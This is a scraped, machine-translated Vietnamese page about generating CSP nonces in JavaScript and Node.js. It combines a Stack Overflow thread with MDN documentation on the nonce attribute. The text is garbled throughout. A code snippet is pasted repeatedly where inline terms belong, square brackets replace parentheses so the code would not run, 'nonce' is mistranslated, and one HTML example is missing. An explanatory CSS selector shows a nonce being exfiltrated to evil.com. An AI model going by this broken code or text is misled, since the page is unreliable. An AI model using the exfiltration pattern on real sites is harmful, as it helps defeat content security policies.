Hướng dẫn how to generate nonce in javascript - cách tạo nonce trong javascript

34

Mới! Lưu câu hỏi hoặc câu trả lời và sắp xếp nội dung yêu thích của bạn. Tìm hiểu thêm.
Learn more.

Tôi cần tạo một Nonce [số chỉ được tạo một lần] để xóa Quy tắc CSP

const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
0 và tất cả các URL đáng tin cậy cho các tập lệnh, cải thiện điểm CSP. Vì vậy, tôi cần phải có trong HTML


Tôi biết rằng không phải là duy nhất với một phương pháp tính toán gần như không thể dự đoán, nó nên có ít nhất 128 bit [do đó 16 byte] và được mã hóa trong base64. Do đó, điều này có đúng đối với

const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
1 không?

const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];

Hỏi ngày 27 tháng 4 năm 2018 lúc 20:10Apr 27, 2018 at 20:10

Chỉ để xác nhận rằng thực sự điều này hoạt động trong nodejs cho csp unces

const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];

Đã trả lời ngày 29 tháng 4 năm 2018 lúc 16:50Apr 29, 2018 at 16:50

5

Tôi đề nghị sử dụng

const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
2 cho điều này: //www.npmjs.com/package/uuid

Mỗi UUID chính xác là 16 byte [128 bit] như mong muốn và bạn có xác suất máy tính của bạn bị ảnh hưởng bởi một thiên thạch cao hơn là tạo ra một vụ va chạm UUID.

Đã trả lời ngày 17 tháng 12 năm 2020 lúc 7:13Dec 17, 2020 at 7:13

Mitch Talmadgemitch TalmadgeMitch Talmadge

4.3892 Huy hiệu vàng24 Huy hiệu bạc42 Huy hiệu Đồng2 gold badges24 silver badges42 bronze badges

2

Bạn có thể sử dụng

const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
3 tích hợp để tạo chuỗi dài 36 ký tự [288 bit] mã hóa 128 bit của sự ngẫu nhiên

const crypto = require['crypto']
crypto.randomUUID[]
'5a388e8e-09eb-4778-a242-ea663f3c7e5e'

Như đã nêu trong tài liệu

const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
3:

Tạo một UUID RFC 4122 ngẫu nhiên. UUID được tạo bằng trình tạo số giả mã hóa mật mã.cryptographic pseudorandom number generator.

Đã trả lời ngày 15 tháng 9 lúc 19:54Sep 15 at 19:54

RubenlagunarubenlagunaRubenLaguna

19.2K12 Huy hiệu vàng98 Huy hiệu bạc132 Huy hiệu đồng12 gold badges98 silver badges132 bronze badges

Thuộc tính toàn cầu

const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
5 là một thuộc tính nội dung xác định một bản không mật mã ["số được sử dụng một lần"] có thể được sử dụng bởi chính sách bảo mật nội dung để xác định xem việc tìm nạp nhất định có được phép tiến hành một phần tử nhất định hay không.
const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
5
global attribute is a content attribute defining a cryptographic nonce ["number used once"] which can be used by Content Security Policy to determine whether or not a given fetch will be allowed to proceed for a given element.

Sự mô tả

Thuộc tính

const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
5 rất hữu ích để cho phép các yếu tố cụ thể trong danh sách, chẳng hạn như một tập lệnh nội tuyến hoặc các phần tử kiểu cụ thể. Nó có thể giúp bạn tránh sử dụng Chỉ thị CSP
const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
7, cho phép danh sách tất cả các tập lệnh hoặc kiểu nội tuyến.

Lưu ý: Chỉ sử dụng

const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
5 cho các trường hợp bạn không có cách nào xung quanh việc sử dụng tập lệnh nội tuyến hoặc nội dung kiểu không an toàn. Nếu bạn không cần
const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
5, đừng sử dụng nó. Nếu tập lệnh của bạn là tĩnh, bạn cũng có thể sử dụng băm CSP thay thế. .
Only use
const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
5 for cases where you have no way around using unsafe inline script or style contents. If you don't need
const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
5, don't use it. If your script is static, you could also use a CSP hash instead. [See usage notes on unsafe inline script.] Always try to take full advantage of CSP protections and avoid nonces or unsafe inline scripts whenever possible.

Sử dụng không cho phép một phần tử danh sách một

Có một vài bước liên quan để cho phép danh sách một tập lệnh nội tuyến bằng cơ chế không phải là:

Tạo giá trị

Từ máy chủ web của bạn, tạo một chuỗi được mã hóa ngẫu nhiên BASE64 ít nhất 128 bit dữ liệu từ một trình tạo số ngẫu nhiên bảo mật bằng mã hóa. Không phải được tạo ra khác nhau mỗi khi tải trang [không chỉ một lần!]. Ví dụ: trong NodeJS:

const crypto = require["crypto"];
crypto.randomBytes[16].toString["base64"];
// '8IBTHwOdqNKAWeKl7plt8g=='

Cho phép tập lệnh nội tuyến

Không được tạo trên mã phụ trợ của bạn bây giờ sẽ được sử dụng cho tập lệnh nội tuyến mà bạn muốn cho phép danh sách:


  // …

Cuối cùng, bạn sẽ cần gửi giá trị không phải trong tiêu đề

const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
0 [PREPEND
const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
1]:

Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='

Truy cập vào việc ẩn náu không phải là

Vì lý do bảo mật, thuộc tính nội dung

const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
5 bị ẩn [một chuỗi trống sẽ được trả về].

script.getAttribute["nonce"]; // returns empty string

Thuộc tính

const crypto = require['crypto'];
let nonce = crypto.randomBytes[16].toString['base64'];
5 là cách duy nhất để truy cập không phải là:

script.nonce; // returns nonce value

Nonce Hiding giúp ngăn chặn những kẻ tấn công thoát khỏi dữ liệu không thông qua các cơ chế có thể lấy dữ liệu từ các thuộc tính nội dung như thế này:

script[nonce~="whatever"] {
  background: url["//evil.com/nonce?whatever"];
}

Thông số kỹ thuật

Sự chỉ rõ
Tiêu chuẩn HTML # attr-nonce
# attr-nonce

Tính tương thích của trình duyệt web

Bảng BCD chỉ tải trong trình duyệt

Xem thêm

Làm thế nào là không được tạo ra?

Một không ngẫu nhiên được tạo ra bằng cách xâu chuỗi các số tùy ý với nhau. Một không liên tiếp được sản xuất tăng dần. Sử dụng phương pháp không liên tiếp đảm bảo rằng các giá trị không được lặp lại, không thể được phát lại và không chiếm không gian không cần thiết.stringing arbitrary numbers together. A sequential nonce is produced incrementally. Using the sequential nonce method guarantees that values are not repeated, cannot be replayed and do not take up unnecessary space.

Nonce là gì trong JavaScript?

Thuộc tính không toàn cầu là một thuộc tính nội dung xác định một bản không mật mã ["số được sử dụng một lần"] có thể được sử dụng bởi chính sách bảo mật nội dung để xác định xem việc tìm nạp nhất định có được phép tiến hành một phần tử nhất định hay không.

Ví dụ không phải là gì?

Ví dụ: Một người không giới thiệu tính ngẫu nhiên và đôi khi là thời gian đóng dấu vào giao tiếp để ứng dụng có thể xác minh người dùng.Điều này bổ sung tính độc đáo khiến tin tặc không thể sử dụng các thông tin liên lạc trước để mạo danh các bên hợp pháp cho các mục đích bất chính.

Nonce là gì trong URL?

Nonce là một "số được sử dụng một lần" để giúp bảo vệ các URL và các hình thức khỏi một số loại lạm dụng, độc hại hoặc cách khác.WordPress không phải là số nhưng là một hàm băm được tạo thành từ các số và chữ cái.Chúng cũng không chỉ được sử dụng một lần, nhưng có giới hạn "trọn đời" sau đó chúng hết hạn.a "number used once" to help protect URLs and forms from certain types of misuse, malicious or otherwise. WordPress nonces aren't numbers but are a hash made up of numbers and letters. Nor are they used only once, but have a limited "lifetime" after which they expire.

Bài Viết Liên Quan

Chủ Đề